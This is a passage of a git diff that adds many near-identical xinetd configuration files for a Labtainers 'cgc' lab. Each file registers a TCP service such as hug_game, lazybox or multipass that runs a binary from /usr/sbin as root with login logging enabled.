log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hug_game b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hug_game new file mode 100644 index 000000000..c582580dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/hug_game @@ -0,0 +1,11 @@ +service hug_game +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Hug_Game + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/humaninterface b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/humaninterface new file mode 100644 index 000000000..6cece446d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/humaninterface @@ -0,0 +1,11 @@ +service humaninterface +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/humaninterface + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/image_compressor b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/image_compressor new file mode 100644 index 000000000..31dd83e6b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/image_compressor @@ -0,0 +1,11 @@ +service image_compressor +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Image_Compressor + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/insulatr b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/insulatr new file mode 100644 index 000000000..868dcaa2f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/insulatr @@ -0,0 +1,11 @@ +service insulatr +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/INSULATR + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kaprica_go b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kaprica_go new file mode 100644 index 000000000..a7577a053 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kaprica_go @@ -0,0 +1,11 @@ +service kaprica_go +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Kaprica_Go + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kaprica_script_interpreter b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kaprica_script_interpreter new file mode 100644 index 000000000..ee6d8a8ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kaprica_script_interpreter @@ -0,0 +1,11 @@ +service kaprica_script_interpreter +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Kaprica_Script_Interpreter + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kty_pretty_printer b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kty_pretty_printer new file mode 100644 index 000000000..6a6ce77e3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/kty_pretty_printer @@ -0,0 +1,11 @@ +service kty_pretty_printer +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/KTY_Pretty_Printer + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lazybox b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lazybox new file mode 100644 index 000000000..9dd811822 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lazybox @@ -0,0 +1,11 @@ +service lazybox +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Lazybox + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lazycalc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lazycalc new file mode 100644 index 000000000..54c8640ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lazycalc @@ -0,0 +1,11 @@ +service lazycalc +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/LazyCalc + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lms b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lms new file mode 100644 index 000000000..1321ab228 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/lms @@ -0,0 +1,11 @@ +service lms +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/LMS + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/loud_square_instant_messaging_protocol_lsimp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/loud_square_instant_messaging_protocol_lsimp new file mode 100644 index 000000000..0aaf8dd7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/loud_square_instant_messaging_protocol_lsimp @@ -0,0 +1,11 @@ +service loud_square_instant_messaging_protocol_lsimp +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Loud_Square_Instant_Messaging_Protocol_LSIMP + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matchmaker b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matchmaker new file mode 100644 index 000000000..cfa38bb3d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matchmaker @@ -0,0 +1,11 @@ +service matchmaker +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Matchmaker + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/material_temperature_simulation b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/material_temperature_simulation new file mode 100644 index 000000000..6bbd5e163 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/material_temperature_simulation @@ -0,0 +1,11 @@ +service material_temperature_simulation +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Material_Temperature_Simulation + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mathematical_solver b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mathematical_solver new file mode 100644 index 000000000..f8f26f620 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mathematical_solver @@ -0,0 +1,11 @@ +service mathematical_solver +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Mathematical_Solver + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matrices_for_sale b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matrices_for_sale new file mode 100644 index 000000000..49dcbfa04 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matrices_for_sale @@ -0,0 +1,11 @@ +service matrices_for_sale +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/matrices_for_sale + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matrix_math_calculator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matrix_math_calculator new file mode 100644 index 000000000..44ae505d4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/matrix_math_calculator @@ -0,0 +1,11 @@ +service matrix_math_calculator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Matrix_Math_Calculator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/message_service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/message_service new file mode 100644 index 000000000..2d03220ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/message_service @@ -0,0 +1,11 @@ +service message_service +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Message_Service + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/middleout b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/middleout new file mode 100644 index 000000000..f3be22f45 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/middleout @@ -0,0 +1,11 @@ +service middleout +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/middleout + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/middleware_handshake b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/middleware_handshake new file mode 100644 index 000000000..113e7faf0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/middleware_handshake @@ -0,0 +1,11 @@ +service middleware_handshake +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/middleware_handshake + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/minimalistic_memo_manager_3m b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/minimalistic_memo_manager_3m new file mode 100644 index 000000000..f5d49860b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/minimalistic_memo_manager_3m @@ -0,0 +1,11 @@ +service minimalistic_memo_manager_3m +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Minimalistic_Memo_Manager_3M + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mixology b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mixology new file mode 100644 index 000000000..d67331d06 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mixology @@ -0,0 +1,11 @@ +service mixology +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Mixology + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/modern_family_tree b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/modern_family_tree new file mode 100644 index 000000000..b31124bf5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/modern_family_tree @@ -0,0 +1,11 @@ +service modern_family_tree +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Modern_Family_Tree + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/monster_game b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/monster_game new file mode 100644 index 000000000..115e63ba0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/monster_game @@ -0,0 +1,11 @@ +service monster_game +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Monster_Game + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mount_filemore b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mount_filemore new file mode 100644 index 000000000..702892a71 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/mount_filemore @@ -0,0 +1,11 @@ +service mount_filemore +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Mount_Filemore + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/movie_rental_service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/movie_rental_service new file mode 100644 index 000000000..49a85f07f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/movie_rental_service @@ -0,0 +1,11 @@ +service movie_rental_service +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Movie_Rental_Service + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/movie_rental_service_redux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/movie_rental_service_redux new file mode 100644 index 000000000..838a61ae6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/movie_rental_service_redux @@ -0,0 +1,11 @@ +service movie_rental_service_redux +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Movie_Rental_Service_Redux + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multi_arena_pursuit_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multi_arena_pursuit_simulator new file mode 100644 index 000000000..3c355a44c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multi_arena_pursuit_simulator @@ -0,0 +1,11 @@ +service multi_arena_pursuit_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Multi_Arena_Pursuit_Simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multi_user_calendar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multi_user_calendar new file mode 100644 index 000000000..35fcc417a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multi_user_calendar @@ -0,0 +1,11 @@ +service multi_user_calendar +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Multi_User_Calendar + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multicast_chat_server b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multicast_chat_server new file mode 100644 index 000000000..d0f51905e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multicast_chat_server @@ -0,0 +1,11 @@ +service multicast_chat_server +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Multicast_Chat_Server + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass new file mode 100644 index 000000000..8b3259de6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass @@ -0,0 +1,11 @@ +service multipass +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Multipass + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass2 new file mode 100644 index 000000000..a3c34ffa7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass2 @@ -0,0 +1,11 @@ +service multipass2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Multipass2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass3 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass3 new file mode 100644 index 000000000..f0ea9272d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/multipass3 @@ -0,0 +1,11 @@ +service multipass3 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Multipass3 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/music_store_client b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/music_store_client new file mode 100644 index 000000000..22aa99fd7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/music_store_client @@ -0,0 +1,11 @@ +service music_store_client +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Music_Store_Client + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/narfagainshell b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/narfagainshell new file mode 100644 index 000000000..866c2ba06 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/narfagainshell @@ -0,0 +1,11 @@ +service narfagainshell +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/NarfAgainShell + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/narfrpn b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/narfrpn new file mode 100644 index 000000000..c038941fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/narfrpn @@ -0,0 +1,11 @@ +service narfrpn +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/NarfRPN + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/netstorage b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/netstorage new file mode 100644 index 000000000..db0cfcead --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/netstorage @@ -0,0 +1,11 @@ +service netstorage +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/netstorage + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_file_system b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_file_system new file mode 100644 index 000000000..5bd836d16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_file_system @@ -0,0 +1,11 @@ +service network_file_system +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Network_File_System + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_file_system_v3 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_file_system_v3 new file mode 100644 index 000000000..458e913c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_file_system_v3 @@ -0,0 +1,11 @@ +service network_file_system_v3 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Network_File_System_v3 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_queuing_simulator b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_queuing_simulator new file mode 100644 index 000000000..36e5934a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/network_queuing_simulator @@ -0,0 +1,11 @@ +service network_queuing_simulator +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Network_Queuing_Simulator + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/neural_house b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/neural_house new file mode 100644 index 000000000..8d6c9af28 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/neural_house @@ -0,0 +1,11 @@ +service neural_house +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/Neural_House + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/no_paper._not_ever._nope b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/no_paper._not_ever._nope new file mode 100644 index 000000000..21c3ba43c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/no_paper._not_ever._nope @@ -0,0 +1,11 @@ +service no_paper._not_ever._nope +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/No_Paper._Not_Ever._NOPE + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/nohic b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/nohic new file mode 100644 index 000000000..d3914448e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/nohic @@ -0,0 +1,11 @@ +service nohic +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/NoHiC + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/on_sale b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/on_sale new file mode 100644 index 000000000..8d0df25dd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/on_sale @@ -0,0 +1,11 @@ +service on_sale +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/On_Sale + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/one_amp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/one_amp new file mode 100644 index 000000000..df0bae03e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/one_amp @@ -0,0 +1,11 @@ +service one_amp +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/One_Amp + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/one_vote b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/one_vote new file mode 100644 index 000000000..ae719220b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/one_vote @@ -0,0 +1,11 @@ +service one_vote +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/One_Vote + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/online_job_application b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/online_job_application new file mode 100644 index 000000000..1d1317c80 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/online_job_application @@ -0,0 +1,11 @@ +service online_job_application +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/online_job_application + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/online_job_application2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/online_job_application2 new file mode 100644 index 000000000..07665aa0c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/online_job_application2 @@ -0,0 +1,11 @@ +service online_job_application2 +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/online_job_application2 + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/otpsim b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/otpsim new file mode 100644 index 000000000..f8c1275cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/otpsim @@ -0,0 +1,11 @@ +service otpsim +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/OTPSim + log_on_failure += USERID + log_on_success += USERID + disable = no +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/xinetd.d/overflow_parking 